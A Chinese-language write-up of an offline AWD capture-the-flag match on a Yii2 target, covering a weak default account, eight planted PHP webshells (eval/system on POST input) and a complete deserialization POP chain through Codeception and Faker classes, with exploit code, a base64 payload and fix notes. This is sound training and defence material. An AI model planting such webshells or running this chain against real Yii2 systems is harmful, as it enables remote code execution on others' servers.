长安杯线下AWD
记录一下第一次线下AWD比赛是如何被人日穿靶机拿下倒数第一的好成绩经历。
环境配置
用户
本次提供的用户为:
ctf : 随机生成密码
本来以为是个随机密码就不用担心其他队伍通过ssh登上我们的靶机,然而经验不足的我们还是太天真了,靶机里面还存在另外一个用户,而且还是个与用户名一样的弱密码:
cloversec : cloversec
其实如果一开始登陆FTP的时候能够返回上一层 /user 目录 的话应该是能够发现还存在另外一个用户的文件夹的,可是我们都好像直接点到根目录目录下了,直到其他队伍以 cloversec 用户登上了我们的靶机,而且写了个脚本一直把网站目录下的内容删除干净并写上自己的马的时候,我们才通过ps aux
命令发现还有另外一个用户,并且我们的 ctf 用户还没有权限结束掉 cloversec 用户所运行的进程,导致直接宕机了很长时间。
Web服务
虽然这次的网站源码是放在/var/www/html/ 目录下,而且其他用户也拥有写的权限。但是 Web 服务不是运行在 Apache 下的,而是直接用PHP的命令直接启动的,就像 Python 的命令行直接起服务那样,因此当我们的 /var/www/html/ 目录下已经被删干净而且无法把备份的源码写入到该目录下的时候我们只好把源码放到了 /tmp 目录下再启动服务。
/usr/local/php/bin/php -S 0.0.0.0:8888 -t /tmp/aurora/var/www/html/basic/web
值得一提的是,由于 Web 服务是直接由 ctf 用户用 PHP 命令起的,因此 Web 用户就是 ctf ,所以写的 Webshell 是有 Web 目录下文件的写权限的。
前置知识
这次靶机上的 web 服务是 yii2 框架,该框架也是个MVC 模型的框架,用户请求的方式为从 Controller 出发,然后送到 Model 对应的方法进行数据处理, Controller 将Model 处理完返回的数据送到到 View 中生成 HTML 页面内容,最后再由 Controller 将 View 中返回的内容输出。
example:
当用户访问如下URL的时候
http://hostname/index.php?r=site/say
其中 r
参数代表路由,是整个应用级的,指向特定操作的独立 ID。路由格式是 控制器 ID/操作 ID
。应用接受请求的时候会检查参数,使用控制器 ID 去确定哪个控制器应该被用来处理请求。然后相应控制器将使用操作 ID 去确定哪个操作方法将被用来做具体工作。上述例子中,路由 site/say
将被解析至 SiteController
控制器和其中的 say
操作。因此 SiteController::actionSay()
方法将被调用处理请求。
漏洞利用与修复
这次的靶机 yii2 框架的v2.0.42版本,且大部分主办方设置的后门都是比较明显的 Webshell ,以及2个反序列化入口,由于当时我们比赛没有上网环境,因此在规定的3个小时内找到POP链几乎是不可能的。
漏洞一
目录:/basic/web/test.php
<?php
class evals{
protected $str;
function __construct($p){
$this->str = $p;
eval("\$a=1;".$this->str);
}
}
$a = new evals($_POST['c']);
?>
简单的webshell,利用方式:
漏洞二
目录:/basic/web/…/.test.php
<?php if($_GET["pass"]=="cloversec"){@eval($_POST[ a]);} ?>
简单的带密码webshell,利用方式:
漏洞三
目录:/basic/view/hello.php
<?php
$a = "sys";
$c = "tem";
$x = $a.$c;
if (isset($_POST['c'])){
$x($_POST['c']);
}
?>
经过拼接混淆的webshell,利用方式:
漏洞四
目录:/basic/view/about.php
<?php
if(isset($_POST['test'])){
system($_POST['test']);
}
?>
简单的webshell,利用方式:
漏洞五
目录:/basic/controllers/SiteController.php
public function actionCommand($s){
return eval($s);
}
简单的webshell,利用方式:
漏洞六
目录:/basic/controllers/SiteController.php
public function actionCommand($s){
return eval($s);
}
public function actionGetform(){
$name = Yii::$app->request->post('a');
return $name;
}
public function actionShell(){
return $this->actionCommand($this->actionGetform());
}
三个方法配合起来的webshell,利用方式:
漏洞七
目录:/basic/controllers/SiteController.php
public function actionTest(){
$name = Yii::$app->request->post('x');
return unserialize(base64_decode($name));
}
这个是反序列化链,利用方法:
- vendor\codeception\codeception\ext\RunProcess.php
其他类里面会加上 __wakeup()
来禁止反序列化,而唯有这个类没有加上。
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
对象在销毁的时候,触发__destruct()
方法,__destruct()
方法调用了stopProcess()
方法,stopProcess()
方法中的$this->processes
可控,即$process
也可控,$process
会调用isRunning()
方法,那么这里就可以尝试利用__call()
方法了。
- vendor\fakerphp\faker\src\Faker\ValidGenerator.php
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments);
++$i;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
当对象调用一个不可调用的方法的时候就会触发 __call()
方法,这里 __call()
方法用 do,while
执行了call_user_func_array()
和 call_user_func_()
函数,而且 $this->generator
和 $this->validator
属性都可控,因此我们只需要 $res
可控的话就能够执行任意命令了,我们再找一个__call()
方法去给 $res
赋值。
- vendor\fakerphp\faker\src\Faker\DefaultGenerator.php
public function __call($method, $attributes)
{
return $this->default;
}
这个类的$this->default
属性完全可控,那也就意味着$res
可控。这样一条完整的POP链就完成了,也不算复杂吧,但是还是需要一点水平的。
构造EXP:
首先用到的第一个类是 RunProcess ,命名空间是在 Codeception\Extension 中,且$this->processes
属性可控,内容需要放一个 ValidGenerator 对象,ValidGenerator 对象的构造参数也需要控制
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
第二个则是 ValidGenerator ,DefaultGenerator 类,该类的命名空间处于Faker中,且其中的三个属性都需要控制,$this->generator
需要DefaultGenerator类的对象,DefaultGenerator对象的构造参数为要执行的命令
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
最终EXP:
<?php
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));
//TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=
漏洞八
目录:/basic/controllers/TestController.php
<?php
//This is the entry of AWD game,do not delete or edit this file,otherwise your gamebox will be check down!!!
namespace app\controllers;
use Yii;
use yii\web\Controller;
class TestController extends Controller
{
public $enableCsrfValidation=false;
public function actionTest(){
$name = Yii::$app->request->post('x');
return unserialize(base64_decode($name));
}
}
这里也同样是反序列化,利用方法同上:
值得一提的是这里主办方在控制器的文件里面写了注释说不能修改该控制器的文件,因此这里不能直接注释掉反序列化的入口,因此修复的方法可以像 Yii 官方那样直接在所利用的类里面加上__wakeup()
方法禁止掉反序列化即可。